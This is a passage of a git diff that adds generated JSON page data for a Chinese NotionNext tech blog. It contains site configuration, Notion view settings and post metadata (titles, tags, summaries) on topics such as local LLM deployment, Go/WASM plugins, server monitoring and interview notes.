2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240322-angry.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240322-angry.json new file mode 100644 index 000000000..45912091d --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240322-angry.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚